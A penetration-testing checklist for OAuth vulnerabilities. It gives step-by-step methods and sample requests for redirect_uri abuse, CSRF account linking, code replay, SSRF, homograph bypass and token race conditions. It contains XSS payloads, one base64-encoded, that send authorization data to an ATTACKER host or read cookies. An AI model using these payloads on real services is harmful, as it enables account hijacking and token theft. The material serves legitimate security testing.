OAuth Weaknesses
Check List
Methodology
Black Box
Target Areas on Websites
Authorization endpoints:
/oauth/authorize,/authorize,/oauth2/authorizeToken endpoints:
/oauth/token,/token,/oauth2/tokenRedirect/callback endpoints:
/callback,/signin-oidc,/oauth/callbackClient registration & developer console pages
Metadata endpoints:
/.well-known/openid-configurationor/.well-known/oauth-authorization-serverSPA pages using fragment-based tokens (
#access_token=...) or storing tokens in browser storagePages generating external links or redirects (to check Referer leakage)
Identify endpoints accepting redirect_uri
Use a controlled domain: redirect_uri=https://proof.example.com
Observe the HTTP 302 response and Location header
Authorization Code Injection via Unvalidated state
stateMissing or weak state validation allows an attacker to bind a malicious authorization code to a victim’s session
Identify state parameter in /authorize
Check how state is generated and stored
Send a test request and observe whether the application validates state
SPA Fragment Token Exposure
Identify SPA pages using #access_token or #id_token
Inspect outgoing links and referer headers
Ensure no real tokens are logged
OAuth2 Scope Escalation
Clients may request scopes they are not allowed; if the server does not enforce restrictions, privilege escalation is possible
Identify scope parameter in authorization requests
Check server-side enforcement against client-allowed scopes
OAuth Flow Manipulation
Turn ON the interception
Initiate the OAuth login proccess
In the last step replace your identification data with the victim id
POST /auth HTTP/1.1
Host : example.com
Content-Type : 133
{
"email":"$EMAIL"
"username":"$USER"
"token":$TOKEN
}Forward the modified request
Check if you are logged in as a victim
OAuth Account-Linking CSRF
Check if there is a CSRF protection and test it The attacker could hijack the victim's account by conducting a Cross-Site Request Forgery attack
Log in to the Attackers Account
Turn ON the interception
initiate the proccess of Attaching the socail media account
On the request with the linking code
if it is a GET Request , then copy the whole URL
if it is a POST Request , generate a CSRF Poc using Burp Suite
After that drop this Request
Logout
Log in to the victims account
Open the copied (in the 3rd step) URL or the generated CSRF Poc URL
Logout
Access the victim account using the social media account
Authorization Code Leakage via Referer (Referer-based Token Exposure)
Browse to a 3rd party page from the URL with sensitive data. If the Authorization Code is reflected inside the Referer header while visiting the third-party site, it can be leaked by the attacker and reused to hijack the victim's account like this
GET / HTTP/1.1
Host : example
Referer : https://example/oaut-linking?code=$TOENAuthorization Code Replay / Authorization Code Reuse
Check if you can reuse the Authorization Code after a few time later In case of Authorization Code leakage, the attacker could reuse it to exchange it for Access Token and hijack the victim's account
Complete an entrie OAuth process and save the authorization code
Complete the OAuth Flow again , but replace the authorization code with the one Saved From step 1
Ensure that the OAuth process fails
If Authorization Code is exchanged for an Access Token, invalidate the Authorization Code and not issue any more Access Token against it. For the JWT tokens use the Refresh Token mechanism to extend it
OAuth Open Redirect
Turn ON the interception
Initiate the OAuth process
Send the request with the redirect_uri parameter to the repeater
GET /OAuth/auth?client_id=asd&redirect_uri=https://example.com&response_type=code HTTP/1.1
Host: example.comDetect the Open Redirect vulnerability Simple Open Redirect - replace the redirect_uri parameter with the domain under your control
GET /OAuth/auth?client_id=1234&redirect_uri=https://attacker.com HTTP/1.1
Host: example.comPath Bypass
manipulate path to access the same endpoint in different ways, together with Open Redirect
GET /OAuth/////?client_id=1234&redirect_uri=https://example.com HTTP/1.1
GET /OAuth/./././?client_id=1234&redirect_uri=https://example.com HTTP/1.1
GET /OAuth/./../auth?client_id=1234&redirect_uri=https://example.com HTTP/1.1Start the HTTP Listener on the VPS server
Start the fuzzing the parameter value using Burp Suite
Check the output of the Intruder for any suspicious responses
XSS IN OAuth Flow
Redirect flow to the static endpoint on the same domain to break it
The attacker could use the static endpoint within the application to break the execution flow. Then, prevent the application from consuming the single-use Authorization Code.Then, chain it with an XSS vulnerability found in any endpoint across the application to leak the Authorization Code
Identify that the application allows redirecting the user to other paths on the same domain
Try exploiting the XSS vulnerability on one of these endpoints
If it does not work, search for a static endpoint (401.html) which should break the OAuth flow
GET /OAuth/auth?client_id=1234&redirect_uri=https://example.com/401.html HTTP/1.1Use the XSS on the other endpoint with the below content, to break the flow and leak the access key
javascript:x=window.open("https://example.com/callback?redirectUrl=https://TARGET/401.html");setTimeout(function() {document.location="http://ATTACKER/?c="+x.location;},5000);Example of an XSS payload to exploit the issue (Credits to Dawid from AFINE for finding this)
<img src=x onerror=location=atob`amF2YXNjcmlwdDp4PXdpbmRvdy5vcGVuKCJodHRwczovL1RBUkdFVC9jYWxsYmFjaz9yZWRpcmVjdFVybD1odHRwczovL1RBUkdFVC80MDEuaHRtbCIpO3NldFRpbWVvdXQoZnVuY3Rpb24oKXtkb2N1bWVudC5sb2NhdGlvbj0naHR0cDovL0FUVEFDS0VSLz9jPScreC5sb2NhdGlvbjt9LDUwMDApOw==`>Require client applications to register a whitelist of valid redirect_uris. Use strict byte-to-byte comparison to validate the URI. Allow complete and exact matches
Path Traversal
Redirect flow to the endpoint on the same domain using path traversal. The attacker could use the vulnerability on the other endpoint within the application and the new path as a proxy page to steal a victim's Access Token, thus hijacking his account
Turn ON the interception
Initiate the OAuth process
Send the request with the redirect_uri parameter to the repeater
GET /OAuth/auth?client_id=1234&redirect_uri=https://example.com/callback HTTP/1.1
Host: example.comChange the path using PATH TRAVERSAL to redirect the flow to another endpoint
GET /OAuth/auth?client_id=1234&redirect_uri=https://example.com/callback/../vuln HTTP/1.1If it is possible to redirect the user to another endpoint (/vuln), there is a vulnerability FUZZING PATH TRAVERSAL Check the other PATH TRAVERSAL bypasses using the TRAVERSAL_DIR_ONLY wordlist
Dynamic Registration SSRF
Check if it is possible to register your client application. Discover the OpenID client registration endpoint: Using the configuration file /.well-known/openid-configuration By the directory brute-forcing (dir_wordlist)
Fuzz the POST body to find proper parameters - a good start is to use just
POST /client_register HTTP/1.1
Host: oauth.example.com
Content-Type: application/json
{"redirect_uris": ["https://whitelist.com/callback"]}If you get the 200 OK response with a CLIENT_ID in the body, it is likely vulnerable
The OpenID provider should require the client application to authenticate itself. For instance, use an HTTP bearer token
OpenID Dynamic Registration SSRF
Find the OpenID registration endpoint and check for SSRF
POST /client_register HTTP/1.1
Host: oauth.example.com
Content-Type: application/json
{"redirect_uris": ["https://whitelisted.com/callback"]}Use a private collaborator in place of the WHITELISTED.COM domain to check for SSRF vulnerability
Fuzz the POST body to discover more URI parameters (see the PortSwigger example below)
Fuzz the URI parameters values using SSRF wordlist and the one generated with crimson_redirector.py
After discovering UNVERIFIED CLIENT REGISTRATION, inject domain collaborator in every URI-like parameter value
POST /client_register HTTP/1.1
Host: example
Content-Type: application/json
{
"redirect_uris": ["https://example.com/callback"],
"jwks_uri": "https://jwks.example.com/my_public_keys_jwks",
"logo_uri": "https://logo.example.com/logo.png"
}Find a way to trigger the server somehow to use these URLs
One way is to use the CLIENT_ID parameter value from the server response after registering the client
Find the endpoint that fetches the logo (it should be one of the endpoints used during OAuth flow)
Use the CLIENT_ID to trigger the server interaction
GET /client/CLIENT_ID/logo HTTP/1.1Observe the DNS/HTTP out-of-bound interactions in your collaborator server
OAuth Parameters
client_id
authorization request, token request
client_secret
token request
response_type
authorization request
redirect_uri
authorization request, token request
scope
authorization request, authorization response, token request, token response
state
authorization request, authorization response
code
authorization response, token request
error
authorization response, token response
error_description
authorization response, token response
error_uri
authorization response, token response
grant_type
token request
access_token
authorization response, token response
token_type
authorization response, token response
expires_in
authorization response, token response
username
token request
password
token request
refresh_token
token request, token response
nonce
authorization request
display
authorization request
prompt
authorization request
max_age
authorization request
ui_locales
authorization request
claims_locales
authorization request
id_token_hint
authorization request
login_hint
authorization request
acr_values
authorization request
claims
authorization request
registration
authorization request
request
authorization request
request_uri
authorization request
id_token
authorization response, access token response
session_state
authorization response, access token response
assertion
token request
client_assertion
token request
client_assertion_type
token request
code_verifier
token request
code_challenge
authorization request
code_challenge_method
authorization request
claim_token
client request, token endpoint
pct
client request, token endpoint
pct
authorization server response, token endpoint
rpt
client request, token endpoint
ticket
client request, token endpoint
upgraded
authorization server response, token endpoint
vtr
authorization request, token request
device_code
token request
resource
authorization request, token request
audience
token request
requested_token_type
token request
subject_token
token request
subject_token_type
token request
actor_token
token request
actor_token_type
token request
issued_token_type
token response
response_mode
authorization request
nfv_token
access token response
iss
authorization request, authorization response
sub
authorization request
aud
authorization request
exp
authorization request
nbf
authorization request
iat
authorization request
jti
authorization request
ace_profile
token response
nonce1
client-rs request
nonce2
rs-client response
ace_client_recipientid
client-rs request
ace_server_recipientid
rs-client response
req_cnf
token request
rs_cnf
token response
cnf
token response
authorization_details
authorization request, token request, token response
dpop_jkt
authorization request
sign_info
client-rs request, rs-client response
kdcchallenge
rs-client response
trust_chain
(no usage location provided)
PaniCode Bypass
The attacker takes control of the homograph/IDN domain (for example, a domain that looks like oauth.example.com)
The attacker creates an authorize address whose redirect_uri parameter points to this domain (with Unicode characters)
The user logs in and authorizes (or if already authorized, the process appears without interaction)
The SEMrush server mistakenly considers the redirect_uri to be valid and sends the authorization code to the attacker's domain (the browser converts it to a paniccode)
The attacker takes the code and converts it into an access token and gains access to the user's information/operations
for example request
https://oauth.example.com/oauth2/authorize?
response_type=code&
scope=user.info,projects.info,siteaudit.info&
client_id=seoquake&
redirect_uri=https://oauth.example.com/oauth2/successI convert the domain inside the redirect_uri parameter to paniccode and send the request
https://oauth.semrush.com/oauth2/authorize?
response_type=code&
scope=user.info,projects.info,siteaudit.info&
client_id=seoquake&
redirect_uri=https://oauth.šemrush.com/oauth2/successXSS in Errors Parameters OAuth Flow
We do the authentication process inside OAuth and I get the requests using Burp Suite
We do a part of the process wrongly to see the error parameter in the requests Like this request
Full url:https://auth2.example.com/oauth2/fallbacks/error?error=xss&error_description=xss&error_hint=xssIf we see one of these parameters in the requests, we will inject this XSS code
<marquee loop%3d1 width%3d0 onfinish%3dco\u006efirm(document.cookie)>XSS<%2fmarquee>for example
https://auth2.example.com/oauth2/fallbacks/error?error=xss&error_description=xsssy&error_hint=%3Cmarquee%20loop%3d1%20width%3d0%20onfinish%3dco\u006efirm(document.cookie)%3EXSS%3C%2fmarquee%3ERace Condition in OAuth
Register Application Register an OAuth 2.0 application on the target provider and obtain client_id, client_secret, and redirect_uri
Authorize Application Open the authorization URL
https://OAUTH_PROVIDER_DOMAIN/oauth/authorize client_id=APPLICATION_ID&redirect_uri=https://APPLICATION_REDIRECT_URI&response_type=code,
log in as victim, and allow access
Obtain Authorization Code Capture the code from the callback
https://APPLICATION_REDIRECT_URI?code=AUTHORIZATION_CODE_VALUE
Exploit Race Condition for Access Token Run a script to send multiple simultaneous requests
curl --data "grant_type=authorization_code code=AUTHORIZATION_CODE_VALUE&client_id=APPLICATION_ID&client_secret=APPLICATION_SECRET&redirect_uri=APPLICATION_REDIRECT_URI" "https://OAUTH_PROVIDER_DOMAIN/oauth/token" repeated 20 timesVerify Multiple Tokens Check obtained access_tokens by sending
GET /api/me?access_token=ACCESS_TOKEN_VALUE to OAUTH_PROVIDER_DOMAIN;
all should be valid
Revoke Access and Test Revoke access via settings or /oauth/revoke for one token, then retest all tokens to see if others remain active
Exploit Race Condition for Refresh Token After obtaining initial access_token and refresh_token legally, run a script to send multiple simultaneous requests
curl --data "grant_type=refresh_token&refresh_token=REFRESH_TOKEN_VALUE&client_id=APPLICATION_ID&client_secret=APPLICATION_SECRET" "https://OAUTH_PROVIDER_DOMAIN/oauth/token" repeated 20 timesVerify Multiple Refresh Tokens Check new access_tokens as before; all should be valid, and repeat revocation test to confirm persistence
White Box
Cheat Sheet
Last updated